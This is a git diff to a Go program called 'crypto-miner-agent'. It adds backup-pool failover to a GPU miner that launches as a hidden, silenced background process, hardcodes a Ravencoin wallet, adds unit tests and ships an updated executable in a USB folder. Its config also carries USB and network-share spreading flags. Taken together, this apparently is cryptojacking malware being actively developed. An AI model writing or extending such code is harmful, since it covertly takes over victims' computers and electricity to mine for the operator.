diff --git a/agent/client/gpu_detect_stub.go b/agent/client/gpu_detect_stub.go index f3516c4..d450deb 100644 --- a/agent/client/gpu_detect_stub.go +++ b/agent/client/gpu_detect_stub.go @@ -23,25 +23,20 @@ func detectGPU() GPUInfo { return GPUInfo{Vendor: GPUVendorNone} } -func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { - pool := g.cfg.RVNPoolHost - port := g.cfg.RVNPoolPort +func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { wallet := g.cfg.RVNWallet worker := g.cfg.WorkerName - - poolURL := "stratum+tcp://" + pool - if g.cfg.RVNPoolTLS { - poolURL = "stratum+ssl://" + pool - } - if port > 0 { - poolURL += ":" + itoa(port) + poolURL := buildPoolURL(ep) + pass := ep.pass + if pass == "" { + pass = "x" } args := []string{ "-a", "kawpow", "-o", poolURL, "-u", wallet + "." + worker, - "-p", g.cfg.RVNPoolPass, + "-p", pass, "--api-bind-http", "127.0.0.1:4067", } cmd := exec.Command(binPath, args...) diff --git a/agent/client/gpu_detect_windows.go b/agent/client/gpu_detect_windows.go index 2c80d9c..2b4fa15 100644 --- a/agent/client/gpu_detect_windows.go +++ b/agent/client/gpu_detect_windows.go @@ -44,52 +44,34 @@ func detectGPU() GPUInfo { return GPUInfo{Vendor: GPUVendorNone} } -// startProcess launches the GPU miner binary as a hidden background process. -func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { - pool := g.cfg.RVNPoolHost - port := g.cfg.RVNPoolPort +// startProcessOnPool launches the GPU miner binary against a specific pool endpoint. +func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) { wallet := g.cfg.RVNWallet worker := g.cfg.WorkerName + poolURL := buildPoolURL(ep) + pass := ep.pass + if pass == "" { + pass = "x" + } var args []string switch g.info.Vendor { case GPUVendorNVIDIA: - // T-Rex: kawpow algorithm - algo := "kawpow" - poolURL := "" - if g.cfg.RVNPoolTLS { - poolURL = "stratum+ssl://" + pool - } else { - poolURL = "stratum+tcp://" + pool - } - args = []string{ - "-a", algo, - "-o", poolURL, - "-u", wallet + "." + worker, - "-p", g.cfg.RVNPoolPass, - "--api-bind-http", "127.0.0.1:4067", - "--no-watchdog", - "--exit-on-cuda-error", - } - if port > 0 { - args[3] = args[3] + ":" + itoa(port) - } - case GPUVendorAMD: - // TeamRedMiner: kawpow algorithm - poolURL := "" - if g.cfg.RVNPoolTLS { - poolURL = "stratum+ssl://" + pool - } else { - poolURL = "stratum+tcp://" + pool - } - if port > 0 { - poolURL += ":" + itoa(port) - } args = []string{ "-a", "kawpow", "-o", poolURL, "-u", wallet + "." + worker, - "-p", g.cfg.RVNPoolPass, + "-p", pass, + "--api-bind-http", "127.0.0.1:4067", + "--no-watchdog", + "--exit-on-cuda-error", + } + case GPUVendorAMD: + args = []string{ + "-a", "kawpow", + "-o", poolURL, + "-u", wallet + "." + worker, + "-p", pass, "--api_listen=4068", } } @@ -97,7 +79,6 @@ func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) { cmd := exec.Command(binPath, args...) deploy.PrepareHiddenProcess(cmd) cmd.Dir = filepath.Dir(binPath) - // Redirect all miner output to NUL (silent) cmd.Stdout = nil cmd.Stderr = nil diff --git a/agent/client/gpu_miner.go b/agent/client/gpu_miner.go index fd237cd..e4cf750 100644 --- a/agent/client/gpu_miner.go +++ b/agent/client/gpu_miner.go @@ -14,6 +14,7 @@ import ( "crypto-miner-agent/config" ) + // GPUVendor identifies the discrete GPU brand on the host. type GPUVendor int @@ -40,18 +41,27 @@ type GPUMinerStats struct { ActiveAlgo string } +// rvnEndpoint is one pool entry for the GPU miner (primary or backup). +type rvnEndpoint struct { + host string + port int + tls bool + pass string +} + // GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner). type GPUMiner struct { - cfg config.RuntimeConfig - info GPUInfo + cfg config.RuntimeConfig + info GPUInfo installDir string - mu sync.RWMutex - stats GPUMinerStats - active bool + mu sync.RWMutex + stats GPUMinerStats + active bool + proc *os.Process // currently running subprocess (nil if stopped) - stopCh chan struct{} - wg sync.WaitGroup + stopCh chan struct{} + wg sync.WaitGroup } // newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected. @@ -110,15 +120,38 @@ func (g *GPUMiner) GPUModel() string { return g.info.Model } +// buildPoolList returns the primary pool followed by any configured backups. +func (g *GPUMiner) buildPoolList() []rvnEndpoint { + eps := []rvnEndpoint{{ + host: g.cfg.RVNPoolHost, + port: g.cfg.RVNPoolPort, + tls: g.cfg.RVNPoolTLS, + pass: g.cfg.RVNPoolPass, + }} + for _, bp := range g.cfg.RVNBackupPools { + if bp.Host != "" && bp.Port > 0 { + eps = append(eps, rvnEndpoint{ + host: bp.Host, + port: bp.Port, + tls: bp.TLS, + pass: bp.Pass, + }) + } + } + return eps +} + func (g *GPUMiner) run() { - // Ensure the miner binary is present before trying to start. binPath, err := g.ensureMinerBinary() if err != nil { log.Printf("[gpu] could not obtain miner binary: %v", err) return } - retryDelay := 30 * time.Second + pools := g.buildPoolList() + poolIdx := 0 + const retryDelay = 30 * time.Second + for { select { case <-g.stopCh: @@ -126,64 +159,88 @@ func (g *GPUMiner) run() { default: } - proc, err := g.startProcess(binPath) + ep := pools[poolIdx%len(pools)] + proc, err := g.startProcessOnPool(binPath, ep) if err != nil { - log.Printf("[gpu] failed to start miner process: %v — retry in %s", err, retryDelay) + log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools)) select { case <-g.stopCh: return case <-time.After(retryDelay): - continue } + poolIdx++ + continue } g.mu.Lock() g.active = true + g.proc = proc g.mu.Unlock() - log.Printf("[gpu] miner started (pid=%d)", proc.Pid) + log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port) - // Poll miner API while it runs. + // pollStop signals pollStats to exit; closed when this iteration ends. + pollStop := make(chan struct{}) pollDone := make(chan struct{}) go func() { defer close(pollDone) - g.pollStats() + g.pollStats(pollStop) }() - // Wait for process exit. - procState, waitErr := proc.Wait() - close(g.stopCh) // signal polling goroutine + // Wait for process exit in a goroutine so we can also listen for stop. + waitDone := make(chan error, 1) + go func() { + _, werr := proc.Wait() + waitDone <- werr + }() + + var stopRequested bool + select { + case <-g.stopCh: + // Agent shutting down — kill the miner process immediately. + stopRequested = true + _ = proc.Kill() + <-waitDone + case waitErr := <-waitDone: + if waitErr != nil { + log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr) + } + // Miner crashed or exited cleanly — rotate to next pool on retry. + poolIdx++ + } + + close(pollStop) <-pollDone g.mu.Lock() g.active = false + g.proc = nil g.mu.Unlock() - if waitErr != nil { - log.Printf("[gpu] miner exited: %v", waitErr) - } else if procState != nil && !procState.Success() { - log.Printf("[gpu] miner exited with non-zero status: %s", procState) + if stopRequested { + return } - // Re-open the stop channel so we can retry cleanly. - g.stopCh = make(chan struct{}) - + // Wait before retrying, but exit cleanly if Stop() is called. select { + case <-g.stopCh: + return case <-time.After(retryDelay): } } } -func (g *GPUMiner) pollStats() { +// pollStats polls the miner's HTTP API until stop is closed. +func (g *GPUMiner) pollStats(stop <-chan struct{}) { apiPort := g.apiPort() ticker := time.NewTicker(10 * time.Second) defer ticker.Stop() - samples := make([]float64, 0, 90) // 15 min worth at 10s intervals + samples := make([]float64, 0, 90) // 15 min at 10s intervals for { select { - case <-g.stopCh: + case <-stop: return case <-ticker.C: hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort) @@ -194,15 +251,12 @@ func (g *GPUMiner) pollStats() { if len(samples) > 90 { samples = samples[len(samples)-90:] } - avg15s := hr - avg1m := avg(samples, 6) - avg15m := avg(samples, len(samples)) g.mu.Lock() g.stats = GPUMinerStats{ - Hashrate15s: avg15s, - Hashrate1m: avg1m, - Hashrate15m: avg15m, + Hashrate15s: hr, + Hashrate1m: avg(samples, 6), + Hashrate15m: avg(samples, len(samples)), GPUTempC: tempC, GPUUsagePct: usage, ActiveAlgo: "kawpow", @@ -238,6 +292,15 @@ func (g *GPUMiner) apiPort() int { } } +// buildPoolURL constructs the stratum URL for a given pool endpoint. +func buildPoolURL(ep rvnEndpoint) string { + scheme := "stratum+tcp" + if ep.tls { + scheme = "stratum+ssl" + } + return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port) +} + // ---- Miner binary management ---- type minerSpec struct { diff --git a/agent/client/gpu_miner_test.go b/agent/client/gpu_miner_test.go new file mode 100644 index 0000000..3bc939a --- /dev/null +++ b/agent/client/gpu_miner_test.go @@ -0,0 +1,401 @@ +package client + +import ( + "archive/zip" + "bytes" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + "time" + + "crypto-miner-agent/config" +) + +// ─── helpers ───────────────────────────────────────────────────────────────── + +func cfgWithGPU(wallet, poolHost string, port int) config.RuntimeConfig { + b := config.GetBuiltinConfig() + b.GPUEnabled = true + b.RVNWallet = wallet + b.RVNPoolHost = poolHost + b.RVNPoolPort = port + b.RVNPoolPass = "x" + b.RVNPoolTLS = false + return config.RuntimeConfig{BuiltinConfig: b} +} + +// ─── newGPUMiner gate checks ────────────────────────────────────────────────── + +func TestNewGPUMinerGPUDisabled(t *testing.T) { + b := config.GetBuiltinConfig() + b.GPUEnabled = false + b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" + cfg := config.RuntimeConfig{BuiltinConfig: b} + if g := newGPUMiner(cfg); g != nil { + t.Fatal("expected nil when GPUEnabled=false") + } +} + +func TestNewGPUMinerNoWallet(t *testing.T) { + b := config.GetBuiltinConfig() + b.GPUEnabled = true + b.RVNWallet = "" + cfg := config.RuntimeConfig{BuiltinConfig: b} + if g := newGPUMiner(cfg); g != nil { + t.Fatal("expected nil when RVNWallet is empty") + } +} + +func TestNewGPUMinerNoGPUDetected(t *testing.T) { + // On this machine there is no nvidia-smi / wmic GPU — should return nil. + cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060) + // detectGPU will find no GPU on a headless CI box or dev machine without GPU. + g := newGPUMiner(cfg) + if g != nil { + // A GPU was actually detected — not a test failure, just note it. + t.Logf("GPU detected: %s (vendor=%v) — skipping nil-check", g.info.Model, g.info.Vendor) + } + // Either way, no panic — detection ran without crashing. +} + +// ─── itoa ──────────────────────────────────────────────────────────────────── + +func TestItoaZero(t *testing.T) { + if got := itoa(0); got != "0" { + t.Fatalf("itoa(0) = %q, want \"0\"", got) + } +} + +func TestItoaPositive(t *testing.T) { + cases := map[int]string{1: "1", 9: "9", 42: "42", 6060: "6060", 65535: "65535"} + for n, want := range cases { + if got := itoa(n); got != want { + t.Errorf("itoa(%d) = %q, want %q", n, got, want) + } + } +} + +func TestItoaNegative(t *testing.T) { + if got := itoa(-5); got != "-5" { + t.Fatalf("itoa(-5) = %q, want \"-5\"", got) + } +} + +// ─── buildPoolURL ───────────────────────────────────────────────────────────── + +func TestBuildPoolURLTCP(t *testing.T) { + ep := rvnEndpoint{host: "rvn.2miners.com", port: 6060, tls: false} + got := buildPoolURL(ep) + want := "stratum+tcp://rvn.2miners.com:6060" + if got != want { + t.Fatalf("buildPoolURL(tcp) = %q, want %q", got, want) + } +} + +func TestBuildPoolURLTLS(t *testing.T) { + ep := rvnEndpoint{host: "rvn.2miners.com", port: 16060, tls: true} + got := buildPoolURL(ep) + want := "stratum+ssl://rvn.2miners.com:16060" + if got != want { + t.Fatalf("buildPoolURL(tls) = %q, want %q", got, want) + } +} + +// ─── buildPoolList ──────────────────────────────────────────────────────────── + +func TestBuildPoolListPrimaryOnly(t *testing.T) { + cfg := cfgWithGPU("RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", "rvn.2miners.com", 6060) + g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} + pools := g.buildPoolList() + if len(pools) != 1 { + t.Fatalf("expected 1 pool, got %d", len(pools)) + } + if pools[0].host != "rvn.2miners.com" || pools[0].port != 6060 { + t.Errorf("unexpected primary pool: %+v", pools[0]) + } +} + +func TestBuildPoolListWithBackups(t *testing.T) { + b := config.GetBuiltinConfig() + b.GPUEnabled = true + b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" + b.RVNPoolHost = "rvn.2miners.com" + b.RVNPoolPort = 6060 + b.RVNBackupPools = []config.BackupPool{ + {Host: "ravenminer.com", Port: 3838}, + {Host: "herominersrvn.com", Port: 1133}, + } + cfg := config.RuntimeConfig{BuiltinConfig: b} + g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} + pools := g.buildPoolList() + if len(pools) != 3 { + t.Fatalf("expected 3 pools (1 primary + 2 backup), got %d", len(pools)) + } + if pools[1].host != "ravenminer.com" { + t.Errorf("backup[0].host = %q, want ravenminer.com", pools[1].host) + } +} + +func TestBuildPoolListSkipsInvalidBackup(t *testing.T) { + b := config.GetBuiltinConfig() + b.GPUEnabled = true + b.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9" + b.RVNPoolHost = "rvn.2miners.com" + b.RVNPoolPort = 6060 + b.RVNBackupPools = []config.BackupPool{ + {Host: "", Port: 0}, // invalid — no host or port + {Host: "valid.pool", Port: 3333}, + } + cfg := config.RuntimeConfig{BuiltinConfig: b} + g := &GPUMiner{cfg: cfg, info: GPUInfo{Vendor: GPUVendorNVIDIA}, stopCh: make(chan struct{})} + pools := g.buildPoolList() + if len(pools) != 2 { + t.Fatalf("expected 2 pools (primary + 1 valid backup), got %d", len(pools)) + } +} + +// ─── avg ───────────────────────────────────────────────────────────────────── + +func TestAvgEmpty(t *testing.T) { + if v := avg(nil, 5); v != 0 { + t.Fatalf("avg(nil,5) = %f, want 0", v) + } +} + +func TestAvgAll(t *testing.T) { + samples := []float64{10, 20, 30} + if got := avg(samples, 3); got != 20 { + t.Fatalf("avg([10,20,30],3) = %f, want 20", got) + } +} + +func TestAvgLastN(t *testing.T) { + samples := []float64{100, 10, 20, 30} + // last 3 = [10,20,30] → avg=20 + if got := avg(samples, 3); got != 20 { + t.Fatalf("avg(last 3) = %f, want 20", got) + } +} + +func TestAvgLastNExceedsLen(t *testing.T) { + samples := []float64{5, 10} + if got := avg(samples, 100); got != 7.5 { + t.Fatalf("avg(last 100 of 2) = %f, want 7.5", got) + } +} + +// ─── apiPort ───────────────────────────────────────────────────────────────── + +func TestAPIPortNVIDIA(t *testing.T) { + g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}} + if p := g.apiPort(); p != 4067 { + t.Fatalf("NVIDIA API port = %d, want 4067", p) + } +} + +func TestAPIPortAMD(t *testing.T) { + g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}} + if p := g.apiPort(); p != 4068 { + t.Fatalf("AMD API port = %d, want 4068", p) + } +} + +// ─── fetchMinerStats (mock HTTP) ───────────────────────────────────────────── + +func TestFetchMinerStatsTRex(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + resp := trexSummary{ + Hashrate: 42500000, + GPUs: []struct { + Temperature int `json:"temperature"` + GpuLoad int `json:"gpu_load"` + }{{Temperature: 65, GpuLoad: 88}}, + } + _ = json.NewEncoder(w).Encode(resp) + })) + defer srv.Close() + + var port int + fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port) + + hr, tempC, usage, err := fetchMinerStats(GPUVendorNVIDIA, port) + if err != nil { + t.Fatalf("fetchMinerStats: %v", err) + } + if hr != 42500000 { + t.Errorf("hashrate = %f, want 42500000", hr) + } + if tempC == nil || *tempC != 65 { + t.Errorf("tempC = %v, want 65", tempC) + } + if usage == nil || *usage != 88 { + t.Errorf("usage = %v, want 88", usage) + } +} + +func TestFetchMinerStatsTRM(t *testing.T) { + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + resp := trmStatus{ + Algorithms: []struct { + Name string `json:"algorithm"` + TotalMHs float64 `json:"mhsh_total"` + }{{Name: "kawpow", TotalMHs: 25.5}}, + GPUs: []struct { + TempC int `json:"temp_c"` + Fan int `json:"fan_pct"` + }{{TempC: 72, Fan: 60}}, + } + _ = json.NewEncoder(w).Encode(resp) + })) + defer srv.Close() + + var port int + fmt.Sscanf(srv.URL[len("http://127.0.0.1:"):], "%d", &port) + + hr, tempC, _, err := fetchMinerStats(GPUVendorAMD, port) + if err != nil { + t.Fatalf("fetchMinerStats TRM: %v", err) + } + // 25.5 MH/s → 25_500_000 H/s + if hr != 25.5e6 { + t.Errorf("hashrate = %f, want %f", hr, 25.5e6) + } + if tempC == nil || *tempC != 72 { + t.Errorf("tempC = %v, want 72", tempC) + } +} + +func TestFetchMinerStatsConnRefused(t *testing.T) { + _, _, _, err := fetchMinerStats(GPUVendorNVIDIA, 59999) + if err == nil { + t.Fatal("expected error when miner API is not running") + } +} + +// ─── extractZipFile ────────────────────────────────────────────────────────── + +func makeSyntheticZip(t *testing.T, filename, content string) []byte { + t.Helper() + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + fw, err := zw.Create(filename) + if err != nil { + t.Fatal(err) + } + if _, err := fw.Write([]byte(content)); err != nil { + t.Fatal(err) + } + if err := zw.Close(); err != nil { + t.Fatal(err) + } + return buf.Bytes() +} + +func TestExtractZipFileHappyPath(t *testing.T) { + data := makeSyntheticZip(t, "t-rex.exe", "fake-binary-content") + dir := t.TempDir() + if err := extractZipFile(data, dir, "t-rex.exe"); err != nil { + t.Fatalf("extractZipFile: %v", err) + } + got, err := os.ReadFile(filepath.Join(dir, "t-rex.exe")) + if err != nil { + t.Fatalf("output file not created: %v", err) + } + if string(got) != "fake-binary-content" { + t.Errorf("content = %q, want \"fake-binary-content\"", got) + } +} + +func TestExtractZipFileTargetInSubdir(t *testing.T) { + // Zip contains "release/t-rex.exe" — extractor should find by Base name. + var buf bytes.Buffer + zw := zip.NewWriter(&buf) + fw, _ := zw.Create("release/t-rex.exe") + _, _ = fw.Write([]byte("nested")) + _ = zw.Close() + + dir := t.TempDir() + if err := extractZipFile(buf.Bytes(), dir, "t-rex.exe"); err != nil { + t.Fatalf("extractZipFile (nested): %v", err) + } + if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); err != nil { + t.Fatalf("output file missing: %v", err) + } +} + +func TestExtractZipFileMissingTarget(t *testing.T) { + data := makeSyntheticZip(t, "other.exe", "data") + dir := t.TempDir() + // Should not error — just silently skip (caller checks with os.Stat). + if err := extractZipFile(data, dir, "t-rex.exe"); err != nil { + t.Fatalf("unexpected error: %v", err) + } + if _, err := os.Stat(filepath.Join(dir, "t-rex.exe")); !os.IsNotExist(err) { + t.Fatal("target should not have been created") + } +} + +func TestExtractZipFileInvalidData(t *testing.T) { + dir := t.TempDir() + err := extractZipFile([]byte("not a zip"), dir, "t-rex.exe") + if err == nil { + t.Fatal("expected error for invalid zip data") + } +} + +// ─── spec / download URL format ─────────────────────────────────────────────── + +func TestSpecNVIDIA(t *testing.T) { + g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorNVIDIA}} + s := g.spec() + if s.fileName != "t-rex.exe" { + t.Errorf("NVIDIA spec.fileName = %q, want t-rex.exe", s.fileName) + } + if s.downloadURL == "" { + t.Error("NVIDIA spec.downloadURL is empty") + } +} + +func TestSpecAMD(t *testing.T) { + g := &GPUMiner{info: GPUInfo{Vendor: GPUVendorAMD}} + s := g.spec() + if s.fileName != "teamredminer.exe" { + t.Errorf("AMD spec.fileName = %q, want teamredminer.exe", s.fileName) + } + if s.downloadURL == "" { + t.Error("AMD spec.downloadURL is empty") + } +} + +// ─── Stop() on a never-started miner ───────────────────────────────────────── + +func TestGPUMinerStopBeforeStart(t *testing.T) { + g := &GPUMiner{stopCh: make(chan struct{})} + done := make(chan struct{}) + go func() { + defer close(done) + g.Stop() + }() + select { + case <-done: + case <-time.After(2 * time.Second): + t.Fatal("Stop() hung when called before Start()") + } +} + +// ─── Stats returns zero until polled ───────────────────────────────────────── + +func TestGPUMinerStatsDefault(t *testing.T) { + g := &GPUMiner{stopCh: make(chan struct{})} + stats, active := g.Stats() + if active { + t.Error("active should be false before Start()") + } + if stats.Hashrate15s != 0 || stats.Hashrate1m != 0 { + t.Errorf("unexpected non-zero default stats: %+v", stats) + } +} diff --git a/agent/config/builtin.go b/agent/config/builtin.go index f308c44..7ebb2e8 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -48,7 +48,7 @@ func GetBuiltinConfig() BuiltinConfig { USBSpread: false, ShareSpread: false, GPUEnabled: false, - RVNWallet: "", + RVNWallet: "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9", RVNPoolHost: "rvn.2miners.com", RVNPoolPort: 6060, RVNPoolTLS: false, diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index ea7e967..9303fc3 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ